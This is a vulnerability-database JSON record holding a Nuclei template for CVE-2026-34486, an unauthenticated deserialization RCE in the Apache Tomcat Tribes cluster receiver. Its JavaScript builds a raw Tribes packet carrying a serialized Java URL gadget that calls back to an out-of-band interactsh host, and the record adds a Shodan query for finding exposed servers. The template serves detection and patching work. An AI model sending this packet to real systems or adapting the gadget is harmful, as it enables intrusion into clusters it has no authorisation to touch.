{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-34486/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-34486/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-34486/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-34486/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-34486/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-34486"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-34486"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-34486.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2026-34486\n\ninfo:\n  name: Apache Tomcat Tribes EncryptInterceptor Bypass - Remote Code Execution\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    Missing Encryption of Sensitive Data vulnerability in Apache Tomcat due to the fix for CVE-2026-29146 allowing the bypass of the EncryptInterceptor. This issue affects Apache Tomcat: 11.0.20, 10.1.53, 9.0.116.\n  impact: |\n    An unauthenticated attacker can achieve remote code execution by sending an unencrypted serialized Java object to the Tribes cluster receiver port.\n  remediation: |\n    Users are recommended to upgrade to version 11.0.21, 10.1.54 or 9.0.117, which fix the issue.\n  reference:\n    - https://striga.ai/research/tomcat-tribes-unauth-rce\n    - https://github.com/striga-ai/CVE-2026-34486\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-34486\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-34486\n    epss-score: 0.98616\n    epss-percentile: 0.99923\n    cwe-id: CWE-502\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: apache\n    product: tomcat\n    shodan-query: product:\"Apache Tomcat Tribes\"\n  tags: cve,cve2026,network,apache,tomcat,rce,deserialization,oast,oob,vkev,kev\n\njavascript:\n  - pre-condition: |\n      isPortOpen(Host, Port)\n\n    code: |\n      const net = require('nuclei/net');\n\n      const address = Host + ':' + Port;\n      const hostname = interactsh_url;\n\n      const GADGET_PREFIX = 'aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff';\n      const GADGET_SUFFIX = '74000071007e0005740004687474707078740003706f6378';\n\n      let hostnameHex = '';\n      for (let i = 0; i < hostname.length; i++) {\n        hostnameHex += hostname.charCodeAt(i).toString(16).padStart(2, '0');\n      }\n\n      const lenHex = hostname.length.toString(16).padStart(4, '0');\n      const gadgetHex = GADGET_PREFIX + '74' + lenHex + hostnameHex + GADGET_SUFFIX;\n      const gadgetByteLen = gadgetHex.length / 2;\n\n      const MEMBER_HEX = '5452494245532d42'       // \"TRIBES-B\"\n        + '01'                                      // version\n        + '00'                                      // padding\n        + '00000035'                                // body length (53)\n        + '000000e8d4a51000'                        // memberAliveTime\n        + '00000fa1'                                // tcpListenPort (4001)\n        + '00000000'                                // udpListenPort\n        + '00000000'                                // securePort\n        + '04'                                      // host length\n        + '7f000001'                                // 127.0.0.1\n        + '00000000'                                // commandLength\n        + '00000000'                                // domainLength\n        + '01010101010101010101010101010101'        // uniqueId (16 bytes)\n        + '00000000'                                // payloadLength\n        + '5452494245532d45'                        // \"TRIBES-E\"\n        + '01'                                      // version\n        + '00';                                     // padding\n\n      const OPTIONS = '00000000';\n      const TIMESTAMP = '000000e8d4a51000';\n      const UID_LEN = '00000010';\n      const UID = 'dddddddddddddddddddddddddddddddd';\n      const MEMBER_LEN = '0000004d';\n\n      const serializedLenHex = gadgetByteLen.toString(16).padStart(8, '0');\n\n      const channelData = OPTIONS + TIMESTAMP + UID_LEN + UID + MEMBER_LEN + MEMBER_HEX\n        + serializedLenHex + gadgetHex;\n\n      const channelDataByteLen = channelData.length / 2;\n      const outerLenHex = channelDataByteLen.toString(16).padStart(8, '0');\n\n      const FLT2002 = '464c5432303032';\n      const TLF2003 = '544c4632303033';\n      const packet = FLT2002 + outerLenHex + channelData + TLF2003;\n\n      let conn;\n      try {\n        conn = net.Open('tcp', address);\n        conn.SendHex(packet);\n        conn.RecvString(10);\n      } catch (e) {}\n\n      if (conn) conn.Close();\n\n      Export('payload_sent');\n\n    args:\n      Host: \"{{Host}}\"\n      Port: \"4000\"\n      interactsh_url: \"{{interactsh-url}}\"\n\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n# digest: 4b0a004830460221008be7405066487536ceb264a570581a9feed405c357804cd877635e921c6660fc022100fa818fe7ba61737745b6da62d8eff950098d9e222e9f5a8f14ecdcd3edd917ba:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-34486"
}